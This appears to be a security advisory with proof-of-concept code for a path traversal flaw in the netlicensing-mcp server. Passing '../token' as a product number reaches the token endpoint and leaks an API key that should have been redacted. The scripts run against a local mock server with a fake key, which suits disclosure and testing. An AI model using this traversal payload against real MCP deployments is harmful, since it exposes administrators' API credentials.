netlicensing-mcp: REST Path Traversal Bypasses Token Redaction

async def get_product(product_number: str) -> dict:
    """Get a single product by its number."""
    return strip_output_fields(await nl_get(f"/product/{product_number}"))

async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
    client = _get_client()
    url = f"{BASE_URL}{path}"
    ...
    r = await client.get(url, headers=_headers(), params=params or {})

# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001 \
  -f vuln-001/Dockerfile \
  reports/pypiAi_1561_Labs64__NetLicensing-MCP/

# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001

cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

seen = []
secret = "actual-api-key-value-5678"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        seen.append(self.path)
        if self.path.endswith("/token"):
            body = {"items":{"item":[{"type":"Token","property":[
                {"name":"number","value":secret},
                {"name":"tokenType","value":"APIKEY"},
                {"name":"role","value":"ROLE_APIKEY_ADMIN"},
                {"name":"active","value":"true"}
            ]}]}}
            data = json.dumps(body).encode()
            self.send_response(200)
            self.send_header("Content-Type","application/json")
            self.send_header("Content-Length",str(len(data)))
            self.end_headers()
            self.wfile.write(data)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *args): pass

srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()

async def main():
    import netlicensing_mcp.client as c
    c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
    tok = c.api_key_ctx.set("dummy")
    try:
        from netlicensing_mcp.server import netlicensing_get_product
        out = await netlicensing_get_product("../token")
        print("UPSTREAM_PATH=" + seen[0])
        print("SECRET_LEAKED=" + str(secret in out))
        print(out)
    finally:
        c.api_key_ctx.reset(tok)
        await c.close_client()
        srv.shutdown()

asyncio.run(main())
PY

#!/usr/bin/env python3
"""
VULN-001 Proof of Concept: REST Path Traversal Bypasses Token Redaction
=======================================================================
Vulnerability: netlicensing_get_product(product_number="../token")

Attack flow:
  1. product_number="../token" is interpolated into f"/product/{product_number}"
     => path = "/product/../token"
  2. client.py builds url = f"{BASE_URL}/product/../token"
  3. httpx normalizes the URL per WHATWG: /product/../token => /token
     => actual HTTP request lands on BASE_URL/token (the token endpoint)
  4. Response is wrapped via _wrap_json(..., "Product") which calls _json()
     => only default-field redaction (apiKey, secret, etc.) runs
     => _wrap_json_token_read() / redact_token_read() is NEVER called
  5. APIKEY token "number" field (= the raw API key value) is returned in
     plaintext in the MCP tool output.

Expected exit codes:
  0 — PASS: path traversal confirmed AND secret found in MCP output
  1 — FAIL: could not confirm the vulnerability
"""

import asyncio
import json
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# Sentinel value used as the fake APIKEY token number (the "leaked secret").
SECRET_APIKEY = "actual-api-key-value-5678"

# Collects every upstream request path received by the mock server.
seen_paths: list[str] = []


class MockNetLicensingHandler(BaseHTTPRequestHandler):
    """Minimal mock of the NetLicensing REST API for PoC isolation."""

    def do_GET(self) -> None:
        seen_paths.append(self.path)

        # Respond to ANY path ending with "/token" to capture both the
        # normalized (/core/v2/rest/token) and raw (/core/v2/rest/product/../token)
        # cases — in practice httpx always sends the normalized form.
        if self.path.endswith("/token"):
            body: dict = {
                "items": {
                    "item": [
                        {
                            "type": "Token",
                            "property": [
                                {"name": "number", "value": SECRET_APIKEY},
                                {"name": "tokenType", "value": "APIKEY"},
                                {"name": "role", "value": "ROLE_APIKEY_ADMIN"},
                                {"name": "active", "value": "true"},
                            ],
                        }
                    ]
                }
            }
            data = json.dumps(body).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(data)))
            self.end_headers()
            self.wfile.write(data)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, *args: object) -> None:
        pass  # Suppress per-request log noise


async def run_poc(server_port: int) -> bool:
    """
    Invoke the vulnerable MCP tool with the traversal payload and check
    whether the upstream path was normalized and the secret leaked.

    Returns True when both conditions are confirmed.
    """
    import netlicensing_mcp.client as client
    from netlicensing_mcp.server import netlicensing_get_product

    # Redirect the HTTP client to the mock server.
    original_base_url = client.BASE_URL
    client.BASE_URL = f"http://127.0.0.1:{server_port}/core/v2/rest"

    # Inject a dummy API key so _headers() does not raise a 503.
    ctx_token = client.api_key_ctx.set("dummy-key-for-poc")
    try:
        # ---- THE EXPLOIT ------------------------------------------------
        # Pass "../token" as product_number.
        # products.get_product calls nl_get(f"/product/../token")
        # httpx normalizes /product/../token -> /token
        # The request hits /core/v2/rest/token on the mock server.
        # The response is serialized via _wrap_json (not _wrap_json_token_read)
        # so the APIKEY "number" field is NOT masked.
        # -----------------------------------------------------------------
        result: str = await netlicensing_get_product("../token")

        upstream_path = seen_paths[0] if seen_paths else "(none received)"
        path_traversal_ok = upstream_path == "/core/v2/rest/token"
        secret_in_output = SECRET_APIKEY in result

        print(f"UPSTREAM_PATH={upstream_path}")
        print(f"PATH_TRAVERSAL_OK={path_traversal_ok}")
        print(f"SECRET_LEAKED={secret_in_output}")
        print()
        print("=== MCP tool output (netlicensing_get_product('../token')) ===")
        print(result)
        print("=== end ===")

        if path_traversal_ok and secret_in_output:
            print()
            print(
                "[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint "
                f"and plaintext secret '{SECRET_APIKEY}' is present in MCP output"
            )
        else:
            if not path_traversal_ok:
                print(
                    f"[FAIL] Path traversal did not work: upstream_path={upstream_path!r}, "
                    "expected /core/v2/rest/token"
                )
            if not secret_in_output:
                print(
                    f"[FAIL] Secret '{SECRET_APIKEY}' not found in MCP output — "
                    "redaction may have been applied unexpectedly"
                )

        return path_traversal_ok and secret_in_output

    finally:
        client.api_key_ctx.reset(ctx_token)
        await client.close_client()
        client.BASE_URL = original_base_url


def main() -> None:
    # Bind the mock server on a random loopback port.
    mock_server = HTTPServer(("127.0.0.1", 0), MockNetLicensingHandler)
    port: int = mock_server.server_address[1]

    server_thread = threading.Thread(target=mock_server.serve_forever, daemon=True)
    server_thread.start()

    print(f"[*] Mock NetLicensing REST API listening on 127.0.0.1:{port}")
    print(f"[*] Invoking netlicensing_get_product(product_number='../token')")
    print()

    try:
        success = asyncio.run(run_poc(port))
    finally:
        mock_server.shutdown()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()